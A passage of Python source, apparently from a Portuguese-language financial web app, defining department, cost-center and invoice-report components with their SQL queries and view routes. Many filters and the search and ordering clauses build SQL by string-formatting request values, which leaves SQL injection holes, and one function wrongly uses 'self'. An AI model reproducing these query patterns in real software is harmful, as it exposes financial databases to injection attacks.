verify_query = \"SELECT department_id_parent FROM department_x_department WHERE department_id_child = %s AND department_id_parent = %s\"\r\n\r\n def add(self,new_id,params_dict):\r\n for dep in params_dict[\"Departamento Pai\"]:\r\n if dep != \"null\":\r\n sql = \"INSERT INTO department_x_department (department_id_child, department_id_parent) VALUES (%s, %s)\"\r\n r = mysql_db.execute(sql, new_id, dep)\r\n result = r.lastrowid\r\n else:\r\n result = -1\r\n return result\r\n\r\n def delete(self,id):\r\n id_val = id.split(\"/\")\r\n id_departament_parent = id_val[1]\r\n id_departament_child = id_val[0]\r\n mysql_db.execute(self.delete_sql, id_departament_parent, id_departament_child)\r\n delete = mysql_db.execute(self.verify_query, id_departament_parent, id_departament_child).fetchall()\r\n\r\n if not delete:\r\n return {\"error\": [\"ok\", \"Registro excluido com sucesso.\"]} \r\n else:\r\n return {\"error\": [\"failed\", \"Erro ao excluir registro.\"]}\r\n\r\nclass DepartmentCostCenter(vzOneToManyComponent):\r\n\r\n type = \"multiple\"\r\n\r\n name = \"costcenter\"\r\n\r\n table_name = \"department_x_cost_center\"\r\n\r\n fields = {\r\n \"id\" : ['hidden', False,False, 'cost_center.cost_center_id'],\r\n \"categoria\" : [\"select\", True, False,\"cost_center.cost_center_id\"],\r\n }\r\n\r\n list_field = [\"id\", \"categoria\"]\r\n\r\n form_select_sql = {\"categoria\":\"SELECT cost_center_id , CONCAT(cost_center_code, ' - ', cost_center_desc) as cost_center_code FROM cost_center where cost_center_parent is null ORDER BY cost_center_code\"}\r\n\r\n select_related_sql = \"\"\"SELECT CONCAT(gp.cost_center_id ,'/',gp.department_id), p.cost_center_id FROM department_x_cost_center gp LEFT JOIN cost_center p ON p.cost_center_id = gp.cost_center_id WHERE gp.department_id = %s ORDER BY p.cost_center_code\"\"\"\r\n\r\n key_field = \"categoria\"\r\n\r\n delete_sql = \"DELETE FROM department_x_cost_center WHERE department_id = %s AND cost_center_id = %s\"\r\n\r\n order = 1\r\n\r\n father_field = \"department_id\"\r\n\r\n verify_query = \"SELECT department_id FROM department_x_cost_center WHERE department_id = %s AND cost_center_id = %s\"\r\n\r\n def add(self,new_id,params_dict):\r\n for cc in params_dict[\"categoria\"]:\r\n if cc != \"null\":\r\n sql = \"INSERT INTO department_x_cost_center (department_id, cost_center_id) VALUES (%s, %s)\"\r\n r = mysql_db.execute(sql, new_id, cc)\r\n result = r.lastrowid\r\n else:\r\n result = -1\r\n return result\r\n\r\n def delete(self,id):\r\n id_val = id.split(\"/\")\r\n id_departament = id_val[1]\r\n id_costcenter = id_val[0]\r\n mysql_db.execute(self.delete_sql, id_departament, id_costcenter)\r\n delete = mysql_db.execute(self.verify_query, id_departament, id_costcenter).fetchall()\r\n\r\n if not delete:\r\n return {\"error\": [\"ok\", \"Registro excluido com sucesso.\"]} \r\n else:\r\n return {\"error\": [\"failed\", \"Erro ao excluir registro.\"]}\r\n\r\nclass Department(vzMultipleComponent):\r\n\r\n def __init__(self):\r\n self.costcenter = DepartmentCostCenter()\r\n self.departamento = DepartmentxDeparment()\r\n\r\n table_name = \"department\"\r\n\r\n name = \"Departamento\"\r\n\r\n type = \"single\"\r\n\r\n fields = {\r\n \"id\" : [\"hidden\",False,False,\"d.department_id\"],\r\n \"Departamento\" : [\"text\" , True,True, \"d.department_desc\"],\r\n \"Codigo\" : [\"text\" , True,False, \"d.department_code\"],\r\n \"Status\" : [\"select\" , False,False, \"d.department_status_id\"],\r\n \"Departamento Pai\" : [\"none\" , True,False, \"department_parent_desc\"],\r\n \"Aceita Freelancer\" : [\"select\" , True,True, \"d.department_freelancer_flag\"],\r\n \"Status Atual\" : [\"none\" , True,False, \"ds.department_status_desc\"],\r\n }\r\n\r\n list_field = [\"id\", \"Departamento\", \"Codigo\", \"Status\", \"Departamento Pai\", \"Aceita Freelancer\", \"Status Atual\"]\r\n\r\n list_all_sql = \"\"\"SELECT d.department_id , d.department_desc, d.department_code, \r\n d.department_status_id, (SELECT GROUP_CONCAT(dp.department_desc SEPARATOR ', ') \r\n from department_x_department dd, department dp where dd.department_id_parent = dp.department_id \r\n and dd.department_id_child = d.department_id) as department_parent_desc, \r\n (CASE d.department_freelancer_flag WHEN 1 THEN \"Sim\" WHEN 0 THEN \"Não\" END) as department_freelancer_flag, \r\n ds.department_status_desc \r\n FROM department d \r\n LEFT JOIN department_status ds ON d.department_status_id = ds.department_status_id \r\n ORDER BY d.department_code\"\"\"\r\n\r\n select_id_sql = \"\"\"SELECT d.department_id , d.department_desc, d.department_code ,d.department_status_id, (SELECT GROUP_CONCAT(dp.department_desc SEPARATOR ', ') from department_x_department dd, department dp where dd.department_id_parent = dp.department_id and dd.department_id_child = d.department_id) as department_parent_desc, d.department_freelancer_flag, ds.department_status_desc \r\n FROM department d\r\n LEFT JOIN department_status ds ON d.department_status_id = ds.department_status_id \r\n WHERE d.department_id = %s\"\"\"\r\n\r\n form_select_sql = {\"Departamento Pai\" : \"SELECT department_id , department_desc from department WHERE department_id IN (SELECT department_id FROM department WHERE department_id_parent is null) order by department_desc\",\r\n \"Status\": \"SELECT department_status_id, department_status_desc from department_status\",\r\n \"Aceita Freelancer\": \"SELECT 0, 'Não' UNION SELECT 1, 'Sim'\"}\r\n select_unique_id_sql = select_id_sql\r\n\r\n list_search_sql = \"\"\"SELECT d.department_id , d.department_desc, d.department_code, d.department_status_id , (SELECT GROUP_CONCAT(dp.department_desc SEPARATOR ', ') from department_x_department dd, department dp where dd.department_id_parent = dp.department_id and dd.department_id_child = d.department_id) as department_parent_desc, d.department_freelancer_flag, ds.department_status_desc \r\n FROM department d\r\n LEFT JOIN department_status ds ON d.department_status_id = ds.department_status_id \r\n WHERE d.department_desc LIKE %s \"\"\"\r\n\r\n count_search_sql = \"\"\"SELECT count(department_id) \r\n FROM department d\r\n LEFT JOIN department_status ds ON d.department_status_id = ds.department_status_id \r\n WHERE d.department_desc LIKE %s \"\"\"\r\n\r\n count_sql = \"SELECT count(department_id) FROM department\"\r\n\r\n delete_sql = \"DELETE FROM department WHERE department_id = %s \"\r\n\r\n def delete(self,params_dict):\r\n #constroi um dicionario pelos nomes dos componentes\r\n components = dict((comp.name,comp) for comp in self.components())\r\n #copia o dicionario de parametros\r\n out_params = params_dict.copy()\r\n for param in params_dict:\r\n #obtem nome do componente\r\n component = self._param_to_component_name(param)\r\n #obtem valor do id\r\n id = params_dict[param]\r\n #se o componente, for o principal\r\n if component == self.name:\r\n #efetua o delete principal\r\n st = self.main_delete(id)\r\n #se apagou mais do que 1 linha, foi efetuado com sucesso\r\n if st > 0: \r\n out_params[param]=True\r\n else:\r\n out_params[param]=False\r\n #se o componente nao for um principal\r\n elif component in components.keys():\r\n #apaga o componente\r\n st = components[component].delete(params_dict[\"id\"])\r\n #se apagou mais do que 1 linha, foi efetuado com sucesso\r\n if st > 0: \r\n out_params[param]=True\r\n else:\r\n out_params[param]=False\r\n return out_params\r\n\r\nclass DepartmentComponents(vzMultipleComponent):\r\n\r\n type = \"single\"\r\n\r\n name = \"report\"\r\n\r\n fields = {\"id\":[\"hidden\",False,False,\"iv.invoice_id\"],\r\n \"lancamento\":[\"data\",False,False,\"iv.invoice_issue_date\"],\r\n \"emissao\":[\"data\",True,False,\"iv.invoice_issue_date\"],\r\n \"vencimento\":[\"data\",True,False,\"iv.invoice_expiration_date\"],\r\n \"agendado\":[\"data\",False,False,\"iv.invoice_expiration_date\"],\r\n \"pagamento\":[\"data\",True,False,\"iv.invoice_payment_date\"],\r\n \"provisao\" : [\"text\",False,True,\"iv.invoice_provision_flag\"],\r\n \"tipo de documento\" : [\"text\",False,True,\"dt.invoice_document_type_desc\"],\r\n \"nd\":[\"text\",False,False,\"iv.invoice_number\"],\r\n \"cheque\":[\"text\",False,False,\"iv.invoice_check\"],\r\n \"conta bancaria\":[\"text\",False,False,\"ba.banck_account_desc\"],\r\n \"pagador\":[\"text\",True,False,\"en.entity_first_name\"],\r\n \"recebedor PJ\":[\"text\",True,False,\"en2.entity_first_name\"],\r\n \"recebedor PF\":[\"text\",False,False,\"recebedor_pf\"],\r\n \"descricao\":[\"textarea\",True,False,\"iv.invoice_desc\"],\r\n \"unidade de negocios\" : [\"text\", False, False, \"iv.business_unit_id_parent\"],\r\n \"centro de custo\" : [\"text\", False, False, \"iv.business_unit_id_child\"],\r\n \"departamento\":[\"text\",False,False,\"de.department_desc\"],\r\n \"sub departamento\":[\"text\",False,False,\"dc.department_desc\"],\r\n \"categoria\":[\"text\",False,False,\"categoria\"],\r\n \"sub-categoria\":[\"text\",False,False,\"sub_categoria\"],\r\n \"status\" : [\"text\",False,True,\"ss.invoice_status_desc\"],\r\n \"job\":[\"text\",False,False,\"project_name\"],\r\n \"valor\":[\"money\",True,False,\"iv.invoice_value\"],\r\n \"valor pago\":[\"money\",True,False,\"iv.invoice_value_paid\"],}\r\n\r\n list_field = [\"id\",\"lancamento\",\"emissao\",\"vencimento\",\"agendado\",\"pagamento\",\"provisao\",\"tipo de documento\",\r\n \"nd\",\"cheque\",\"conta bancaria\",\"pagador\",\"recebedor PJ\",\"recebedor PF\",\"descricao\",\r\n \"unidade de negocios\",\"centro de custo\",\"departamento\", \"sub departamento\", \"categoria\",\"sub-categoria\", \r\n \"status\", \"job\" ,\"valor\",\"valor pago\"]\r\n\r\n list_all_sql = \"\"\"SELECT iv.invoice_id,\r\n iv.invoice_input_date,\r\n iv.invoice_issue_date,\r\n iv.invoice_expiration_date,\r\n iv.invoice_schedule_date,\r\n iv.invoice_payment_date,\r\n (CASE iv.invoice_provision_flag WHEN 1 THEN \"SIM\" WHEN 0 THEN \"NAO\" END) as invoice_provision_flag, \r\n dt.invoice_document_type_desc,\r\n iv.invoice_number,\r\n iv.invoice_check,\r\n ba.bank_account_desc,\r\n en.entity_first_name,\r\n en2.entity_first_name,\r\n en3.entity_first_name AS recebedor_pf,\r\n iv.invoice_desc,\r\n b.business_unit_desc,\r\n bc.business_unit_desc,\r\n de.department_desc,\r\n dc.department_desc,\r\n CONCAT(cc.cost_center_code,\" - \",cc.cost_center_desc) AS categoria,\r\n CONCAT(sub_cc.cost_center_code,\" - \",sub_cc.cost_center_desc) AS sub_categoria,\r\n ss.invoice_status_desc, \r\n CONCAT(IFNULL(p.project_code, '') ,\" \", p.project_name) AS project_name,\r\n iv.invoice_value,\r\n iv.invoice_value_paid \r\n FROM invoice iv\r\n LEFT JOIN invoice_document_type dt ON iv.invoice_document_type_id = dt.invoice_document_type_id\r\n LEFT JOIN invoice_operation_type ot ON iv.invoice_operation_type_id = ot.invoice_operation_type_id\r\n LEFT JOIN cost_center cc ON cc.cost_center_id = iv.cost_center_id_parent\r\n LEFT JOIN cost_center sub_cc ON sub_cc.cost_center_id = iv.cost_center_id\r\n LEFT JOIN bank_account ba ON iv.bank_account_id = ba.bank_account_id\r\n LEFT JOIN business_unit b ON b.business_unit_id=iv.business_unit_id_parent \r\n LEFT JOIN business_unit bc ON bc.business_unit_id=iv.business_unit_id_child \r\n LEFT JOIN department de ON iv.department_id = de.department_id \r\n LEFT JOIN department dc ON iv.department_id_child = dc.department_id \r\n LEFT JOIN entity en ON iv.entity_id_pay = en.entity_id\r\n LEFT JOIN entity en2 ON iv.entity_id_receive = en2.entity_id\r\n LEFT JOIN entity en3 ON iv.entity_id_receive_pf = en3.entity_id\r\n LEFT JOIN project p ON iv.project_id = p.project_id \r\n LEFT JOIN invoice_status ss ON iv.invoice_status_id = ss.invoice_status_id \r\n WHERE 1=1\"\"\"\r\n\r\n select_unique_id_sql = \"\"\"SELECT iv.invoice_id,\r\n iv.invoice_input_date,\r\n iv.invoice_issue_date,\r\n iv.invoice_expiration_date,\r\n iv.invoice_schedule_date,\r\n iv.invoice_payment_date,\r\n (CASE iv.invoice_provision_flag WHEN 1 THEN \"SIM\" WHEN 0 THEN \"NAO\" END) as invoice_provision_flag, \r\n dt.invoice_document_type_desc,\r\n iv.invoice_number,\r\n iv.invoice_check,\r\n ba.bank_account_desc,\r\n en.entity_first_name,\r\n en2.entity_first_name,\r\n en3.entity_first_name AS recebedor_pf,\r\n iv.invoice_desc,\r\n CONCAT(b.business_unit_code,'.',b.business_unit_desc) AS business_unit_desc_parent,\r\n CONCAT(bc.business_unit_code,'.',bc.business_unit_desc) AS business_unit_desc_child,\r\n de.department_desc,\r\n dc.department_desc,\r\n CONCAT(cc.cost_center_code,\" - \",cc.cost_center_desc) AS categoria,\r\n CONCAT(sub_cc.cost_center_code,\" - \",sub_cc.cost_center_desc) AS sub_categoria,\r\n ss.invoice_status_desc, \r\n CONCAT(IFNULL(CONCAT(NULLIF(p.project_code,''),' '),''),p.project_name,IFNULL(CONCAT(' (',NULLIF(p.project_year,''),')'),'')) as project_name,\r\n iv.invoice_value,\r\n iv.invoice_value_paid \r\n FROM invoice iv\r\n LEFT JOIN invoice_document_type dt ON iv.invoice_document_type_id = dt.invoice_document_type_id\r\n LEFT JOIN invoice_operation_type ot ON iv.invoice_operation_type_id = ot.invoice_operation_type_id\r\n LEFT JOIN cost_center cc ON cc.cost_center_id = iv.cost_center_id_parent\r\n LEFT JOIN cost_center sub_cc ON sub_cc.cost_center_id = iv.cost_center_id\r\n LEFT JOIN bank_account ba ON iv.bank_account_id = ba.bank_account_id\r\n LEFT JOIN business_unit b ON b.business_unit_id=iv.business_unit_id_parent \r\n LEFT JOIN business_unit bc ON bc.business_unit_id=iv.business_unit_id_child \r\n LEFT JOIN department de ON iv.department_id = de.department_id\r\n LEFT JOIN department dc ON iv.department_id_child = dc.department_id \r\n LEFT JOIN entity en ON iv.entity_id_pay = en.entity_id\r\n LEFT JOIN entity en2 ON iv.entity_id_receive = en2.entity_id\r\n LEFT JOIN entity en3 ON iv.entity_id_receive_pf = en3.entity_id\r\n LEFT JOIN project p ON iv.project_id = p.project_id \r\n LEFT JOIN invoice_status ss ON iv.invoice_status_id = ss.invoice_status_id \r\n WHERE iv.invoice_id = %s\"\"\"\r\n\r\n list_field_footer = [\"Total Pago\", \"Valor Total\",\"Quantidade de registros\"]\r\n list_type_footer = [\"money\", \"money\",\"number\"]\r\n\r\n list_result_sql = \"\"\"SELECT SUM(iv.invoice_value_paid) totalpago , SUM(iv.invoice_value) totalgeral, COUNT(iv.invoice_id) \r\n FROM invoice iv LEFT JOIN invoice_document_type dt ON iv.invoice_document_type_id = dt.invoice_document_type_id\r\n LEFT JOIN invoice_operation_type ot ON iv.invoice_operation_type_id = ot.invoice_operation_type_id\r\n LEFT JOIN cost_center cc ON cc.cost_center_id = iv.cost_center_id_parent\r\n LEFT JOIN cost_center sub_cc ON sub_cc.cost_center_id = iv.cost_center_id\r\n LEFT JOIN bank_account ba ON iv.bank_account_id = ba.bank_account_id\r\n LEFT JOIN business_unit b ON b.business_unit_id=iv.business_unit_id_parent \r\n LEFT JOIN business_unit bc ON bc.business_unit_id=iv.business_unit_id_child \r\n LEFT JOIN department de ON iv.department_id = de.department_id \r\n LEFT JOIN department dc ON iv.department_id_child = dc.department_id \r\n LEFT JOIN entity en ON iv.entity_id_pay = en.entity_id\r\n LEFT JOIN entity en2 ON iv.entity_id_receive = en2.entity_id\r\n LEFT JOIN entity en3 ON iv.entity_id_receive_pf = en3.entity_id\r\n LEFT JOIN project p ON iv.project_id = p.project_id \r\n LEFT JOIN invoice_status ss ON iv.invoice_status_id = ss.invoice_status_id \r\n WHERE 1=1\"\"\"\r\n\r\n select_info_id_sql = \"\"\" SELECT\r\n IFNULL(invoice_first_name_created,'') AS user_created,\r\n IFNULL(invoice_date_created,'') AS date_created,\r\n IFNULL(invoice_first_name_edited,'') AS user_edited,\r\n IFNULL(invoice_date_edited,'') AS date_edited\r\n FROM invoice\r\n WHERE invoice_id=%s\r\n \"\"\"\r\n\r\n\r\nclass DepartmentFilters(ReportFilters):\r\n def __init__(self, request):\r\n super(ReportFilters,self).__init__()\r\n self.company_entity = request.session['session']['entity_id_company']\r\n self.user_id = request.session['session']['user_id']\r\n if int(self.company_entity) > 1:\r\n self.filter_populate[\"conta\"] =\"\"\"SELECT bank_account.bank_account_id , bank_account.bank_account_desc \r\n FROM bank_account, entity_x_bank_account\r\n WHERE entity_x_bank_account.entity_id = %s \r\n AND entity_x_bank_account.bank_account_id = bank_account.bank_account_id \r\n AND bank_account.bank_account_id in (select bank_account_id from user_x_bank_account where user_id = '%s') \r\n ORDER BY bank_account.bank_account_desc\"\"\"%(self.company_entity, self.user_id)\r\n else:\r\n self.filter_populate[\"conta\"] =\"\"\"SELECT bank_account.bank_account_id , bank_account.bank_account_desc \r\n FROM bank_account, entity_x_bank_account\r\n WHERE entity_x_bank_account.entity_id in (%s,%s) \r\n AND entity_x_bank_account.bank_account_id = bank_account.bank_account_id \r\n AND bank_account.bank_account_id in (select bank_account_id from user_x_bank_account where user_id = '%s') \r\n ORDER BY bank_account.bank_account_desc\"\"\"%(VETORZERO_ID, LOBO_ID, self.user_id)\r\n\r\n filter_populate = { \"tipo de documento\": \"SELECT invoice_document_type_id , invoice_document_type_desc FROM invoice_document_type WHERE invoice_document_type_status_id = 1\",\r\n \"receber ou a pagar\" : \"SELECT invoice_operation_type_id , invoice_operation_type_desc FROM invoice_operation_type\",\r\n \"provisao\":\" SELECT 2 as id , 'Nao' as invoice_provision_flag UNION SELECT 1 as id, 'Sim' as invoice_provision_flag\",\r\n \"job\" : \"SELECT -1 as project_group_id, ' Com Job' as project_group_name UNION SELECT -2 as project_group_id, ' Sem Job' as project_group_name UNION SELECT DISTINCT project_group_id, CONCAT(IFNULL(CONCAT(NULLIF(project_group_code,''),' '),''),project_group_name,IFNULL(CONCAT(' (',NULLIF(project_group_year,''),')'),'')) as project_group_name FROM project_group ORDER BY project_group_name\",\r\n \"business unit\" : \"SELECT business_unit_id, CONCAT(business_unit_code,'.',business_unit_desc) AS business_unit_desc FROM business_unit WHERE business_unit_parent_flag=1 ORDER BY business_unit_code\",\r\n \"sub business unit\" : \"SELECT business_unit_id, CONCAT(business_unit_code,'.',business_unit_desc) AS business_unit_desc FROM business_unit WHERE business_unit_parent_flag=0 ORDER BY business_unit_code\",\r\n \"departamento\" : \"SELECT department_id, CONCAT(department_code, ' - ', department_desc) FROM department where department_id not in (select department_id_child from department_x_department) order by department_code\",\r\n \"subdepto\" : \"SELECT department_id, CONCAT(department_code, ' - ', department_desc) FROM department where department_id in (select department_id_child from department_x_department) order by department_code\",\r\n \"categoria\" : \"SELECT cost_center_id , CONCAT(cost_center_code, ' - ' ,cost_center_desc) FROM cost_center WHERE cost_center_parent IS null and cost_center_status = 1 ORDER BY cost_center_code\",\r\n \"sub categoria\" : \"SELECT cost_center_id , CONCAT(cost_center_code, ' - ' ,cost_center_desc) FROM cost_center WHERE cost_center_parent IS not null and cost_center_status = 1 ORDER BY cost_center_code\",\r\n \"data\" : \"SELECT filter_date_id , filter_date_display_name FROM filter_date\",\r\n \"data2\" : \"SELECT filter_date_id , filter_date_display_name FROM filter_date\",\r\n \"statusrel\" : \"SELECT invoice_status_id,invoice_status_desc FROM invoice_status\", \r\n }\r\n\r\n filter_condition = {\"tipo_de_documento\" : lambda filter_id : \" AND dt.invoice_document_type_id = %s\"%filter_id,\r\n \"receber_ou_a_pagar\" : lambda filter_id : \" AND iv.invoice_operation_type_id = %s\"%(filter_id),\r\n \"entidade\" : lambda filter_id : \" AND en.entity_id = %s\"%(filter_id),\r\n \"conta_bancaria\": lambda filter_id : \" AND iv.bank_account_id = %s\"%(filter_id),\r\n \"start_date\" : lambda filter_id : \" AND iv.invoice_issue_date >= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0]),\r\n \"end_date\" : lambda filter_id : \" AND iv.invoice_issue_date <= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0]),\r\n \"start_date2\" : lambda filter_id : \" AND iv.invoice_issue_date >= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0]),\r\n \"end_date2\" : lambda filter_id : \" AND iv.invoice_issue_date <= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0]), \r\n \"categoria\" : lambda filter_id : \" AND iv.cost_center_id_parent = %s\"%(filter_id),\r\n \"sub_categoria\" : lambda filter_id : \" AND iv.cost_center_id = %s\"%(filter_id),\r\n \"provisao\" : lambda filter_id : \" AND iv.invoice_provision_flag = %s\"%(filter_id),\r\n \"job\" : lambda filter_id : \" AND p.project_group_id = %s\"%(filter_id),\r\n \"business_unit\": lambda filter_id : \" AND iv.business_unit_id_parent = %s \"%(filter_id),\r\n \"sub_business_unit\": lambda filter_id : \" AND iv.business_unit_id_child = %s \"%(filter_id),\r\n \"departamento\": lambda filter_id : \" AND iv.department_id = %s \"%(filter_id),\r\n \"subdepto\" : lambda filter_id : \" AND iv.department_id_child = %s \"%(filter_id),\r\n \"data\" : lambda filter_id : \"\",\r\n \"data2\" : lambda filter_id : \"\",\r\n \"statusrel\" : lambda filter_id : \" AND iv.invoice_status_id = %s\"%(filter_id),\r\n \"conta\" : lambda filter_id : \" AND iv.bank_account_id = %s\"%(filter_id),\r\n \"busca\" : lambda filter_id : \" \".join([\" AND (en2.entity_first_name LIKE '%%%%%s%%%%' OR iv.invoice_desc LIKE '%%%%%s%%%%' OR en.entity_first_name LIKE '%%%%%s%%%%')\"%(word, word, word) for word in filter_id.split()]),\r\n }\r\n\r\n filter_order = {\"pagamento\": \" ORDER BY iv.invoice_payment_date \",\r\n \"vencimento\": \" ORDER BY iv.invoice_expiration_date \",\r\n \"emissao\": \" ORDER BY iv.invoice_issue_date \",\r\n \"valor pago\":\" ORDER BY iv.invoice_value_paid \",\r\n \"valor\":\" ORDER BY iv.invoice_value \",\r\n \"nr nf\":\" ORDER BY iv.invoice_number \",\r\n \"banco\":\" ORDER BY ba.bank_account_desc \",\r\n \"recebedor pj\":\" ORDER BY en2.entity_first_name \",\r\n \"pagador\":\" ORDER BY en.entity_first_name \",\r\n \"descricao\":\" ORDER BY iv.invoice_desc \",\r\n }\r\n\r\n def filt(self,filter_names,user_id,sql_all,add_group=None):\r\n \r\n sql_all = sql_all + \" AND iv.bank_account_id in (SELECT bank_account_id FROM user_x_bank_account WHERE user_id = \" + str(self.user_id) + \") \"\r\n \r\n self.filter_condition[\"receber ou a pagar\"] = \"\"\r\n for filter_name in filter_names:\r\n if filter_name == \"start_date\":\r\n #selecona tipo de data\r\n filter_value = str(filter_names[\"data\"])\r\n if filter_value == \"\":\r\n filter_value = \"2\"\r\n filter_date = \"iv.invoice_issue_date\"\r\n cursor = mysql_db.execute(\"SELECT filter_date_invoice_name from filter_date where filter_date_id = %s\"%filter_value)\r\n if cursor != None: \r\n row = cursor.fetchone()\r\n filter_date = row[\"filter_date_invoice_name\"]\r\n cursor.close()\r\n #seleciona start date\r\n self.filter_condition[\"start_date\"] = lambda filter_id : \" AND \" + filter_date + \" >= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0])\r\n if filter_name == \"end_date\":\r\n #selecona tipo de data\r\n filter_value = str(filter_names[\"data\"])\r\n if filter_value == \"\":\r\n filter_value = \"2\"\r\n cursor = mysql_db.execute(\"SELECT filter_date_invoice_name from filter_date where filter_date_id = %s\"%filter_value)\r\n if cursor != None: \r\n row = cursor.fetchone()\r\n filter_date = row[\"filter_date_invoice_name\"]\r\n cursor.close() \r\n #seleciona end date\r\n self.filter_condition[\"end_date\"] = lambda filter_id : \" AND \" + filter_date + \" <= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0])\r\n\r\n if filter_name == \"start_date2\":\r\n #selecona tipo de data\r\n filter_value = str(filter_names[\"data2\"])\r\n if filter_value == \"\":\r\n filter_value = \"2\"\r\n filter_date = \"iv.invoice_issue_date\"\r\n cursor = mysql_db.execute(\"SELECT filter_date_invoice_name from filter_date where filter_date_id = %s\"%filter_value)\r\n if cursor != None: \r\n row = cursor.fetchone()\r\n filter_date = row[\"filter_date_invoice_name\"]\r\n cursor.close()\r\n #seleciona start date\r\n self.filter_condition[\"start_date2\"] = lambda filter_id : \" AND \" + filter_date + \" >= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0])\r\n if filter_name == \"end_date2\":\r\n #selecona tipo de data\r\n filter_value = str(filter_names[\"data2\"])\r\n if filter_value == \"\":\r\n filter_value = \"2\"\r\n cursor = mysql_db.execute(\"SELECT filter_date_invoice_name from filter_date where filter_date_id = %s\"%filter_value)\r\n if cursor != None: \r\n row = cursor.fetchone()\r\n filter_date = row[\"filter_date_invoice_name\"]\r\n cursor.close() \r\n #seleciona end date\r\n self.filter_condition[\"end_date2\"] = lambda filter_id : \" AND \" + filter_date + \" <= '%s-%s-%s'\" %(filter_id.split(\"/\")[2],filter_id.split(\"/\")[1],filter_id.split(\"/\")[0])\r\n # check if options \"SEM JOB\" or \"COM JOB\" is selected and modify condition\r\n if filter_name == \"job\" :\r\n filter_value = str(filter_names[filter_name])\r\n if str(filter_value) == \"-1\":\r\n self.filter_condition[\"job\"] = lambda filter_id : \" AND p.project_group_id is not null \"\r\n elif str(filter_value) == \"-2\":\r\n self.filter_condition[\"job\"] = lambda filter_id : \" AND p.project_group_id is null \"\r\n else:\r\n self.filter_condition[\"job\"] = lambda filter_id : \" AND p.project_group_id = %s\"%(filter_id)\r\n\r\n if filter_name in self.filter_condition:\r\n if filter_names[filter_name]:\r\n if filter_name == \"receber ou a pagar\":\r\n if int(filter_names[filter_name]) == 2:\r\n sql_all = sql_all + \" AND iv.invoice_operation_type_id = 2 \"\r\n elif int(filter_names[filter_name]) == 1:\r\n sql_all = sql_all + \" AND iv.invoice_operation_type_id = 1 \"\r\n else:\r\n sql_all = sql_all + self.filter_condition[filter_name](filter_names[filter_name])\r\n\r\n if filter_names.has_key(\"order_field\"):\r\n if filter_names[\"order_field\"]:\r\n sql_all = sql_all+ self.filter_order[filter_names[\"order_field\"]]\r\n sql_all = sql_all+ filter_names[\"order\"]\r\n\r\n return sql_all\r\n\r\n\r\nclass VetorDepartmentComponents(DepartmentComponents):\r\n\r\n def __init__(self, request):\r\n super(DepartmentComponents,self).__init__()\r\n self.company_entity = request.session['session']['entity_id_company']\r\n if int(self.company_entity) > 1:\r\n self.list_all_sql = self.list_all_sql + \" AND (iv.entity_id_pay = %s OR iv.entity_id_receive = %s) \"%(self.company_entity, self.company_entity)\r\n self.list_result_sql = self.list_result_sql + \" AND (iv.entity_id_pay = %s OR iv.entity_id_receive = %s) \"%(self.company_entity, self.company_entity)\r\n\r\n\r\ndef department_clean_list(request):\r\n rc=VetorDepartmentComponents(request)\r\n rf=DepartmentFilters(request)\r\n clean = report_clean(rc,rf)\r\n return clean\r\n\r\ndef delete_cost_center(request):\r\n department_id = request.params[1]\r\n id = request.params[0]\r\n try:\r\n st = mysql_db.execute(self.delete_sql,department_id, id)\r\n return st.rowcount\r\n except:\r\n return 0\r\n\r\n@view_config(route_name=\"financial.invoice_pay.department.grid.list\",renderer=\"json\")\r\n@view_config(route_name=\"financial.invoice_receive.department.grid.list\",renderer=\"json\")\r\n@view_config(route_name=\"financial.bankaccount_transaction.department.grid.list\",renderer=\"json\")\r\n@view_config(route_name=\"financial.costcenter.department.grid.list\",renderer=\"json\")\r\n@jsonLogin\r\n@log_view\r\ndef invoicestatus_grid_list(request):\r\n grid = vzMultipleComponentJsonGrid(model= Department())\r\n return grid.list_grid(request.params)\r\n\r\n@view_config(route_name=\"financial.invoice_pay.department.grid.del\",renderer=\"json\")\r\n@view_config(route_name=\"financial.invoice_receive.department.grid.del\",renderer=\"json\")\r\n@view_config(route_name=\"financial.bankaccount_transaction.department.grid.del\",renderer=\"json\")\r\n@view_config(route_name=\"financial.costcenter.department.grid.del\",renderer=\"json\")\r\n@jsonLogin\r\ndef invoicestatus_del(request):\r\n action = vzMultipleComponentGridActions( model = Department())\r\n return action.delete(request)\r\n\r\n@view_config(route_name=\"financial.invoice_pay.department.grid.save\",renderer=\"json\")\r\n@view_config(route_name=\"financial.invoice_receive.department.grid.save\",renderer=\"json\")\r\n@view_config(route_name=\"financial.bankaccount_transaction.department.grid.save\",renderer=\"json\")\r\n@view_config(route_name=\"financial.costcenter.department.grid.save\",renderer=\"json\")\r\n@jsonLogin\r\ndef invoicestatus_grid_save(request):\r\n action = vzMultipleComponentGridActions( model = Department())\r\n return action.save(request)\r\n\r\n@view_config(route_name=\"financial.invoice_pay.department.row.id\",renderer=\"json\")\r\n@view_config(route_name=\"financial.invoice_receive.department.row.id\",renderer=\"json\")\r\n@view_config(route_name=\"financial.bankaccount_transaction.department.row.id\",renderer=\"json\")\r\n@view_config(route_name=\"financial.costcenter.department.row.id\",renderer=\"json\")\r\n@jsonLogin\r\ndef entity_select_unique(request):\r\n grid = vzMultipleComponentJsonGrid(model=Department())\r\n return grid.select_unique(request.params)\r\n\r\n@view_config(route_name='financial.invoice_pay.department.select',renderer=\"json\")\r\n@view_config(route_name=\"financial.invoice_receive.department.select\",renderer=\"json\")\r\n@view_config(route_name=\"financial.costcenter.department.select\",renderer=\"json\")\r\n@jsonLogin\r\ndef entity_grid_select(request):\r\n departmentmodel = Department()\r\n grid = vzMultipleComponentJsonGrid(model=departmentmodel)\r\n return grid.form_field_select(request.params)\r\n\r\n@view_config(route_name='financial.report.department.grid.list',renderer=\"json\")\r\n@jsonLogin\r\ndef report_list(request):\r\n report_limit = int(request.session['session']['report_limit'])\r\n\r\n report_filter_flag = request.session['session']['report_filter_flag']\r\n report_filter_flag = int(report_filter_flag)\r\n\r\n 